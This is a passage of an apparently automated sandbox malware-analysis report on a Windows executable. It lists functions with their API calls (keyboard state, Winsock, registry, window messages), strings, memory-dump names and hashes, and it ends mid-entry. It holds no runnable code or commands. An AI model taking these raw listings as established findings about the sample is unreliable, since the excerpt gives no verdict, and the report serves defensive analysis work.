    • Instruction ID: ab713c0e03b4ebef2095cd19d918e8f5394ede6d00fec2e271b3f25400b9f2ae
    • Opcode Fuzzy Hash: ea952f2150a40c486bed9d5bb19761509c9b5ef807b376e14e84e5588de93987
    • Instruction Fuzzy Hash: BB8102315447486AEF25ABA4DC427ED3B60EF45314F14418BED413A2E2C77C9E89C7AA
    Function 00431897 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 223COMMON
    Download Yara Rule
    APIs
    • VariantInit.OLEAUT32(?), ref: 004319A8
    • VariantInit.OLEAUT32(DC), ref: 00431A82
    • VariantClear.OLEAUT32(DC), ref: 00431A92
    • VariantClear.OLEAUT32(00000001), ref: 00431AEA
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Variant$ClearInit
    • String ID: DC$DC$F$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop$_NewEnum$get__NewEnum
    • API String ID: 2610073882-3162301050
    • Opcode ID: 95fb134cfc80a911596242a7b61f76450ee34d4b006b6fd6f10a8658da58380b
    • Instruction ID: 8083f426d9f894f1bc40dfaa809b4d26ab45a09ced0e321bccf615fb93141159
    • Opcode Fuzzy Hash: 95fb134cfc80a911596242a7b61f76450ee34d4b006b6fd6f10a8658da58380b
    • Instruction Fuzzy Hash: 89817C71900209ABCF20DFE5CC84EEEB7B8AF08315F10456EF515A72A1D7B89E45CB69
    Function 0042ED85 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 212networkmemoryCOMMON
    Download Yara Rule
    APIs
    • WSAStartup.WS2_32(00000101,?), ref: 0042EE13
    • inet_addr.WS2_32(00000000), ref: 0042EE3D
    • gethostbyname.WS2_32(00000000), ref: 0042EE46
    • FreeLibrary.KERNEL32(?,00000000,00000000), ref: 0042EE72
    • GlobalAlloc.KERNEL32(00000040,00000040), ref: 0042EECC
    • FreeLibrary.KERNEL32(?,00000000,00000000,00000101,?,00000000), ref: 0042EEFF
    • FreeLibrary.KERNEL32(?,00000000,00000000,00000101,?,00000000), ref: 0042EF09
    • FreeLibrary.KERNEL32(?,00000000,00000000,00000101,?,00000000), ref: 0042EF13
    • GlobalFree.KERNEL32(00000000), ref: 0042EFC5
    • WSACleanup.WS2_32 ref: 0042EFCB
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Free$Library$Global$AllocCleanupStartupgethostbynameinet_addr
    • String ID: Wu
    • API String ID: 3097805930-4083010176
    • Opcode ID: 8f061333444a43ffdaff18d45f32bf790a523f2a2d6c08af46e4de7f2615d1a7
    • Instruction ID: c17d4d86a3619faaae84c48cea73a3c8c8d1c6773a1b105f31c35f6741a2f7fe
    • Opcode Fuzzy Hash: 8f061333444a43ffdaff18d45f32bf790a523f2a2d6c08af46e4de7f2615d1a7
    • Instruction Fuzzy Hash: 48719C31A00229EBDF20EFA6E9819AEB7B4BF04314F95413BF514A7291C7389D85CB59
    Function 004126BC Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 169windowsleepCOMMON
    Download Yara Rule
    APIs
    • GetMenuItemInfoW.USER32(0047A6A8,000000FF,00000000,0000002C), ref: 0041272A
    • SetMenuItemInfoW.USER32(0047A6A8,00000004,00000000,0000002C), ref: 00412760
    • Sleep.KERNEL32(000001F4,0047A6A8,?,00000000), ref: 00412771
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: InfoItemMenu$Sleep
    • String ID: ,
    • API String ID: 1196289194-3772416878
    • Opcode ID: 840733704e8b72faa693b97eaa8618e70ee49a5f4cbdb18606633d748c6003fc
    • Instruction ID: 673f1c98b9e666d0017e1a7833c8b8cc34a90406b02290c59e1f383dc2874613
    • Opcode Fuzzy Hash: 840733704e8b72faa693b97eaa8618e70ee49a5f4cbdb18606633d748c6003fc
    • Instruction Fuzzy Hash: 5D51B670904208EFEF11DF94CA84AEEBBB4BF00308F24415EE551E2291D3B89EE5DB19
    Function 004305B5 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 143registryCOMMON
    Download Yara Rule
    APIs
    • StringFromIID.COMBASE(?,?), ref: 004305D5
    • CoTaskMemFree.COMBASE(?), ref: 00430627
    • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 0043063F
    • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?), ref: 0043066D
    • CLSIDFromString.COMBASE(00000000,?), ref: 0043069C
    • RegQueryValueExW.ADVAPI32(?,Version,00000000,00000000,?,00000001), ref: 004306D1
    • LoadRegTypeLib.OLEAUT32(?,00000000,00000000), ref: 00430724
    • RegCloseKey.ADVAPI32(?), ref: 0043074D
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: FromQueryStringValue$CloseFreeLoadOpenTaskType
    • String ID: Version$\TypeLib$interface\
    • API String ID: 3215668907-939221531
    • Opcode ID: 4832374c04a19b00eb409d5101276f53bde8b5d7d4d5d05a0b0921a33f83a77a
    • Instruction ID: b655124fc70be52ddb42d0f67ed840a6ab8a9596b0c865405af6a81620bfd038
    • Opcode Fuzzy Hash: 4832374c04a19b00eb409d5101276f53bde8b5d7d4d5d05a0b0921a33f83a77a
    • Instruction Fuzzy Hash: AC416076800118EBCF10EBA5DC89CDEBBB8FF48315F11056AF915A3161DB349E44DB64
    Function 004108E0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128keyboardCOMMON
    Download Yara Rule
    APIs
    • MapVirtualKeyW.USER32(0000005B,00000000), ref: 0041090B
    • MapVirtualKeyW.USER32(00000010,00000000), ref: 00410916
    • MapVirtualKeyW.USER32(000000A0,00000000), ref: 00410924
    • MapVirtualKeyW.USER32(000000A1,00000000), ref: 00410932
    • MapVirtualKeyW.USER32(00000011,00000000), ref: 0041093D
    • MapVirtualKeyW.USER32(00000012,00000000), ref: 00410948
    • GetKeyboardLayoutNameA.USER32(?), ref: 00410954
    • VkKeyScanA.USER32(00000000), ref: 00410968
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Virtual$KeyboardLayoutNameScan
    • String ID: 0002$0409$0809
    • API String ID: 983989243-2507973371
    • Opcode ID: e26775cac1d69ddc040335cf172753ea57e0579228d91fe694fe3cb24bc9a97e
    • Instruction ID: bec2c5736e6295f485510cdfee5d2b4694b43ecfdd9fd1275449d8d207afea38
    • Opcode Fuzzy Hash: e26775cac1d69ddc040335cf172753ea57e0579228d91fe694fe3cb24bc9a97e
    • Instruction Fuzzy Hash: 4241F971549388ACF720EBB95C0AB977BD89F61309F14006BE594D7183E6FCA488871E
    Function 004149FA Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 80sleeptimewindowCOMMON
    Download Yara Rule
    APIs
    • timeGetTime.WINMM ref: 00414A04
    • timeGetTime.WINMM ref: 00414A1A
    • Sleep.KERNEL32(0000000A), ref: 00414A2E
    • FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00414A72
    • SetActiveWindow.USER32 ref: 00414A93
    • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00414AA1
    • SendMessageW.USER32(00000010,00000000,00000000), ref: 00414AC1
    • Sleep.KERNEL32(000000FA), ref: 00414ACC
    • IsWindow.USER32 ref: 00414AD8
    • EndDialog.USER32(00000000), ref: 00414AE9
      • Part of subcall function 00415D17: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00415D3E
      • Part of subcall function 00415D17: GetCurrentThreadId.KERNEL32 ref: 00415D45
      • Part of subcall function 00415D17: AttachThreadInput.USER32(00000000), ref: 00415D4C
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Window$Thread$MessageSendSleepTimetime$ActiveAttachCurrentDialogFindInputProcess
    • String ID: BUTTON
    • API String ID: 2994871518-3405671355
    • Opcode ID: 9d3f59f38da363da99795c867b164ececa99e12e4f25dd3b184a9f13c30bfd9f
    • Instruction ID: d49f01f2a66b3b3a274d5297f5f74a72a47ae71303348ed1a4dedd9e64d469b0
    • Opcode Fuzzy Hash: 9d3f59f38da363da99795c867b164ececa99e12e4f25dd3b184a9f13c30bfd9f
    • Instruction Fuzzy Hash: C621C532398605FFF7116F20FE899AA3BA8EBC4382B110476F20591471D7658DD09B2C
    Function 00415B6C Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON
    Download Yara Rule
    APIs
    • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00415BDA
    • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00415BEE
    • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00415BFE
    • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00415C11
    • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00415C1E
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: SendString
    • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
    • API String ID: 890592661-1007645807
    • Opcode ID: a6c9c36fc8fcd97dcfd1441e7ee06fd675b2ab39cddef83ac0e58676806962c8
    • Instruction ID: b1822fddb4a767dec974c595ee76e1b150c2e2547c3de3647d388603338b342e
    • Opcode Fuzzy Hash: a6c9c36fc8fcd97dcfd1441e7ee06fd675b2ab39cddef83ac0e58676806962c8
    • Instruction Fuzzy Hash: A1119670D4020CBEEB10ABA1ECC1EEF7B7CDF44798F504167B410A2091E7A89E8486A9
    Function 004301FC Relevance: 18.2, APIs: 12, Instructions: 193COMMON
    Download Yara Rule
    APIs
    • VariantInit.OLEAUT32(-00000048), ref: 00430217
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: InitVariant
    • String ID:
    • API String ID: 1927566239-0
    • Opcode ID: ba28c3041cd4c6874d2c18b63d8c63254bd3445e0bfa78ee4fa0ae738adc1948
    • Instruction ID: 9d7999fc2cd5a7606b955a0f693963966027de556b63af81db066f69122e02aa
    • Opcode Fuzzy Hash: ba28c3041cd4c6874d2c18b63d8c63254bd3445e0bfa78ee4fa0ae738adc1948
    • Instruction Fuzzy Hash: C4618E31900214EBCB01DFA5CC989AEB7B4FF0C315F2096AAE815E7251DB78DE41DB59
    Function 004085D5 Relevance: 18.2, APIs: 12, Instructions: 180windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(?,?,000000FF,00000000), ref: 004086B2
    • SendMessageW.USER32(?,?,00000000,00000000), ref: 004086C2
    • CharNextW.USER32(00000000,?,004276A0,00478410,00000000,?), ref: 004086EE
    • SendMessageW.USER32(?,?,00000000,00000000), ref: 00408701
    • SendMessageW.USER32(?,?,00000000,?), ref: 00408715
    • SendMessageW.USER32(?,?,000000FF,00000000), ref: 00408742
    • SendMessageW.USER32(?,?,00000000,00000000), ref: 00408756
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend$CharNext
    • String ID:
    • API String ID: 1350042424-0
    • Opcode ID: 8c88817049833f1abaebf2bb00d923f4e82f64ab36498c7e6d37ed6b6d0516a9
    • Instruction ID: b12c777ac9d0b86c010d8e88b360e31c6d53ff0b2d7a97ce2183b31ba9e66b68
    • Opcode Fuzzy Hash: 8c88817049833f1abaebf2bb00d923f4e82f64ab36498c7e6d37ed6b6d0516a9
    • Instruction Fuzzy Hash: AB519E71600308EBDF219F64CE45BAA3BA5AF44314F24412FF9A4A62E1DB79DC52CF58
    Function 0040E741 Relevance: 18.2, APIs: 12, Instructions: 168COMMON
    Download Yara Rule
    APIs
    • GetDlgItem.USER32(?,00000001), ref: 0040E764
    • GetWindowRect.USER32(00000000,?), ref: 0040E77C
    • MoveWindow.USER32(00000001,0000000A,?,?,?,00000000), ref: 0040E7D4
    • GetDlgItem.USER32(?,00000002), ref: 0040E7DE
    • GetWindowRect.USER32(00000000,?), ref: 0040E7F0
    • MoveWindow.USER32(00000001,?,00000000,?,?,00000000), ref: 0040E842
    • GetDlgItem.USER32(?,000003E9), ref: 0040E84F
    • GetWindowRect.USER32(00000000,?), ref: 0040E861
    • MoveWindow.USER32(?,0000000A,00000000,?,?,00000000), ref: 0040E8A4
    • GetDlgItem.USER32(?,000003EA), ref: 0040E8AE
    • MoveWindow.USER32(00000000,0000000A,0000000A,?,-000000FB,00000000), ref: 0040E8CA
    • InvalidateRect.USER32(?,00000000,00000001), ref: 0040E8D3
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Window$ItemMoveRect$Invalidate
    • String ID:
    • API String ID: 3096461208-0
    • Opcode ID: 3a1dcebfad33eec77ff6b25477c45e905561baac400562b15739efe02f938839
    • Instruction ID: 9b8544a1d6d145af6ded319fd2928cc87b79eb69e54e7660af3b66d43001a818
    • Opcode Fuzzy Hash: 3a1dcebfad33eec77ff6b25477c45e905561baac400562b15739efe02f938839
    • Instruction Fuzzy Hash: 7E5147B1E0020AAFDF04CFA9DD45AAEBBB9FB44311F14812AF515E7290E770AE00CB54
    Function 00410F35 Relevance: 18.2, APIs: 12, Instructions: 152keyboardCOMMON
    Download Yara Rule
    APIs
    • GetKeyboardState.USER32(00000001), ref: 00410FD3
    • SetKeyboardState.USER32(00000001), ref: 00411021
    • GetAsyncKeyState.USER32(00000011), ref: 00411035
    • GetKeyState.USER32(00000011), ref: 00411043
    • GetAsyncKeyState.USER32(00000012), ref: 00411064
    • GetKeyState.USER32(00000012), ref: 0041106D
    • GetAsyncKeyState.USER32(000000A0), ref: 00411093
    • GetKeyState.USER32(000000A0), ref: 0041109B
    • GetAsyncKeyState.USER32(000000A1), ref: 004110C0
    • GetKeyState.USER32(000000A1), ref: 004110C8
    • GetAsyncKeyState.USER32(0000005B), ref: 004110E9
    • GetKeyState.USER32(0000005B), ref: 004110F3
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: State$Async$Keyboard
    • String ID:
    • API String ID: 541375521-0
    • Opcode ID: 551dbde3f8065375312253c687410048079869a797f1a7c7e8a518f2e63a8ba4
    • Instruction ID: 0a29760dd22265b3d953272a9e43809e9e5c528ef8a2cbe6b81addde34154a84
    • Opcode Fuzzy Hash: 551dbde3f8065375312253c687410048079869a797f1a7c7e8a518f2e63a8ba4
    • Instruction Fuzzy Hash: 8D51D4306047859AEB349B34C94A7DB7AC09F19784F04041EEA8D973E2D7FC99C5C61D
    Function 00431152 Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 205COMMON
    Download Yara Rule
    APIs
    • StringFromCLSID.COMBASE(?,00000000), ref: 00431209
    • CoTaskMemFree.COMBASE(00000000), ref: 00431225
    • StringFromIID.COMBASE(?,00000000), ref: 0043130F
    • CoTaskMemFree.COMBASE(00000000), ref: 00431327
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: FreeFromStringTask
    • String ID: CLSID\$Interface\$ProgID$ToolBoxBitmap32$inprocserver32$localserver32
    • API String ID: 910554386-2412192186
    • Opcode ID: 6dfcbc6126d7e1adef419d680d0bc0d4d3c0ea62a5b762055ce8b29b0c99149b
    • Instruction ID: 0b4f8b80ce955dd39e9ac8b4367f021f5a5185ffdf9ca56efeb76a6332b40596
    • Opcode Fuzzy Hash: 6dfcbc6126d7e1adef419d680d0bc0d4d3c0ea62a5b762055ce8b29b0c99149b
    • Instruction Fuzzy Hash: 88615B35A00208AFDB10EBA1CC85EEEB7B9EF08314F14455AF812E7261DB38E945DB58
    Function 00423BD7 Relevance: 17.7, APIs: 2, Strings: 8, Instructions: 201COMMON
    Download Yara Rule
    APIs
    • CharLowerBuffW.USER32(?,?,?,00000000,0045C6D0), ref: 00423C27
    • GetDriveTypeW.KERNEL32(?,00460454,00000061,unknown,ramdisk,network,fixed,removable,cdrom,all), ref: 00423D90
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: BuffCharDriveLowerType
    • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown$z
    • API String ID: 2426244813-3835205858
    • Opcode ID: 8a4ab123c8cba6d9525edc1d6ce77014fad253863c0f01a28e7912fb11828709
    • Instruction ID: c943f114b9cfa34bc6d13cecd34174d1ce99e7829156bc061d10869983b5239c
    • Opcode Fuzzy Hash: 8a4ab123c8cba6d9525edc1d6ce77014fad253863c0f01a28e7912fb11828709
    • Instruction Fuzzy Hash: DA61E332E40225AACF20AF51EC426EEB771EF40715F51415FE91177192CB7C9E8A9A8C
    Function 00430474 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 108registryCOMMON
    Download Yara Rule
    APIs
